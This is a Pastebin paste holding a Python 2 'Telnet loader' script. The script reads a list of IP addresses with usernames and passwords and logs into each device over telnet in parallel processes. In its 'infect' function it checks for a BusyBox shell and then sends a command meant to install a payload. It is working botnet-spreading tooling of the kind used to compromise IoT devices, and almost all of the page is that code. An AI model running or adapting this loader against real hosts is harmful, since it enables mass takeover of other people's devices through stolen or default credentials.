Advertisement
LNO_LiGhT

Telnet Loader(ip:user:pass) v1.1 | By LiGhT

Apr 1st, 2017
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.38 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet loader ip:user:pass | By LiGhT
  3.  
  4. import sys, re, os, socket, time
  5. from multiprocessing import Process
  6.  
  7. if len(sys.argv) < 2:
  8.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  9.  
  10. cmd="" #command to send
  11. info = open(str(sys.argv[1]),'a+')
  12.  
  13. def infect(ip,username,password):
  14.     try:
  15.         tn = socket.socket()
  16.         tn.settimeout(5)
  17.         tn.connect((ip,23))
  18.     except Exception:
  19.         tn.close()
  20.     try:
  21.         hoho = ''
  22.         hoho += readUntil(tn, "ogin:")
  23.         if "ogin" in hoho:
  24.             tn.send(username + "\n")
  25.             time.sleep(0.09)
  26.     except Exception:
  27.         tn.close()
  28.     try:
  29.         hoho = ''
  30.         hoho += readUntil(tn, "assword:")
  31.         if "assword" in hoho:
  32.             tn.send(password + "\n")
  33.             time.sleep(0.8)
  34.         else:
  35.             pass
  36.     except Exception:
  37.         tn.close()
  38.     try:
  39.         prompt = ''
  40.         prompt += tn.recv(40960)
  41.         if ">" in prompt and "ONT" not in prompt:
  42.             try:
  43.                 success = False
  44.                 tn.send("cat | sh" + "\n")
  45.                 time.sleep(0.1)
  46.                 timeout = 8
  47.                 data = ["BusyBox", "Built-in"]
  48.                 tn.send("sh" + "\n")
  49.                 time.sleep(0.01)
  50.                 tn.send("busybox" + "\r\n")
  51.                 buf = ''
  52.                 start_time = time.time()
  53.                 while time.time() - start_time < timeout:
  54.                     buf += tn.recv(40960)
  55.                     time.sleep(0.01)
  56.                     for info in data:
  57.                         if info in buf and "unrecognized" not in buf:
  58.                             success = True
  59.             except:
  60.                 pass
  61.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  62.             try:
  63.                 success = False
  64.                 timeout = 8
  65.                 data = ["BusyBox", "Built-in"]
  66.                 tn.send("sh" + "\n")
  67.                 time.sleep(0.01)
  68.                 tn.send("shell" + "\n")
  69.                 time.sleep(0.01)
  70.                 tn.send("help" + "\n")
  71.                 time.sleep(0.01)
  72.                 tn.send("busybox" + "\r\n")
  73.                 buf = ''
  74.                 start_time = time.time()
  75.                 while time.time() - start_time < timeout:
  76.                     buf += tn.recv(40960)
  77.                     time.sleep(0.01)
  78.                     for info in data:
  79.                         if info in buf and "unrecognized" not in buf:
  80.                             success = True
  81.             except:
  82.                 pass
  83.         else:
  84.             tn.close()
  85.         if success == True:
  86.             try:
  87.                 tn.send(cmd + "\n")
  88.                 print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)
  89.                 time.sleep(10)
  90.                 tn.close()
  91.             except:
  92.                 tn.close()
  93.         tn.close()
  94.     except Exception:
  95.         tn.close()
  96.  
  97. for x in info:
  98.     xinfo = x.split(":")
  99.     session = Process(target=infect, args=(xinfo[0],xinfo[1],xinfo[2],))
  100.     session.start()
  101.     ip=xinfo[0]
  102.     username=xinfo[1]
  103.     password=xinfo[2]
  104.     time.sleep(0.009)
  105. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement